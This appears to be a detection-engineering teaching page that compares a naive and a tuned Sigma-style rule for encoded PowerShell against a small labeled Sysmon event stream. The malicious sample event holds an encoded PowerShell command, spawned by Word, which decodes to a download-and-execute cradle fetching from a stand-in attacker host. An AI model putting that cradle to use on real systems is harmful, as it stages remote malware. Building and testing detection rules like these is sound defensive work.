Detection Engineering

Real telemetry from real incidents, two detection rules per scenario, a ground-truth labeled event stream. Watch the naive rule fire on every helpdesk PowerShell session while the tuned rule catches the macro loader. Edit either rule's match tree as JSON and see precision / recall update live.

How this works. Each scenario ships a Sysmon / CloudTrail / Entra event stream with a labeled ground truth: which events are part of the attack and which are benign. The runner evaluates a Sigma-style condition tree (eq / contains / regex / in / gte / and / or / not) against every event and reports true positives, false positives, false negatives, precision, recall, and F1. Edit the JSON to bias either rule and watch the metrics move.

Scenarios

Setup. An attacker drops a base64-encoded PowerShell payload via -EncodedCommand. The naive rule fires on every -enc usage; the tuned rule weights long base64 + suspicious decoded markers.

reference: Microsoft Threat Intelligence — observed across Conti, BlackCat, and most ransomware affiliates 2020-2024.

Rules side by side

naive — DE.PS.NAIVE

powershell -enc anywhere

Fires on any PowerShell command line containing -enc / -EncodedCommand. Catches the bad guys but also catches every helpdesk runbook.

ATT&CK: T1059.001

TP1

FP1

FN1

TN1

precision0.50

recall0.50

F10.50

attack.mitre.org

tuned — DE.PS.TUNED

powershell -enc with long payload from Office or browser

Requires -enc plus a long base64 payload (≥100 chars) AND a parent process that should never spawn powershell (winword, excel, outlook, browsers). Cuts FP from helpdesk runbooks while keeping coverage of the macro-borne loader.

ATT&CK: T1059.001, T1566.001

TP1

FP0

FN1

TN2

precision1.00

recall0.50

F10.67

known FP: Penetration testers using the same TTP for authorized assessments.

Florian Roth, sigma-rules/win_susp_powershell_enc_cmd.yml + Red Canary Threat Detection 2024.

Event stream (4 events, 2 malicious)

2025-03-12T09:14:22.000Z · Sysmon · id=1

maliciousnaive ✓tuned ✓

Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
CommandLine: powershell.exe -NoP -W Hidden -enc SQBFAFgAKABuAGUAdwAtAG8AYgBqAGUAYwB0ACAAbgBlAHQALgB3AGUAYgBjAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAHMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvAGEAdAB0AGEAYwBrAC4AZQB4AGEAbQBwAGwAZQAvAHMAdABhAGcAZQAxACcAKQA=
ParentImage: C:\Windows\System32\winword.exe
User: DESKTOP-Q9X\jdoe

// decoded: IEX (new-object net.webclient).downloadstring('http://attack.example/stage1')

2025-03-12T09:14:25.000Z · Sysmon · id=3

maliciousnaive ·tuned ·

Image: powershell.exe
DestinationIp: 203.0.113.42
DestinationPort: 80
User: DESKTOP-Q9X\jdoe

// outbound to attacker stager

2025-03-12T09:30:01.000Z · Sysmon · id=1

benignnaive ·tuned ·

Image: powershell.exe
CommandLine: powershell.exe -NoProfile -ExecutionPolicy Bypass -File C:\Program Files\Acme\update.ps1
ParentImage: C:\Program Files\Acme\AcmeUpdater.exe
User: NT AUTHORITY\SYSTEM

// legitimate signed updater

2025-03-12T10:02:11.000Z · Sysmon · id=1

benignnaive ✓tuned ·

Image: powershell.exe
CommandLine: powershell.exe -enc dABlAHMAdAAxADIAMwA=
ParentImage: explorer.exe
User: CORP\helpdesk

// support engineer testing — decoded: 'test123'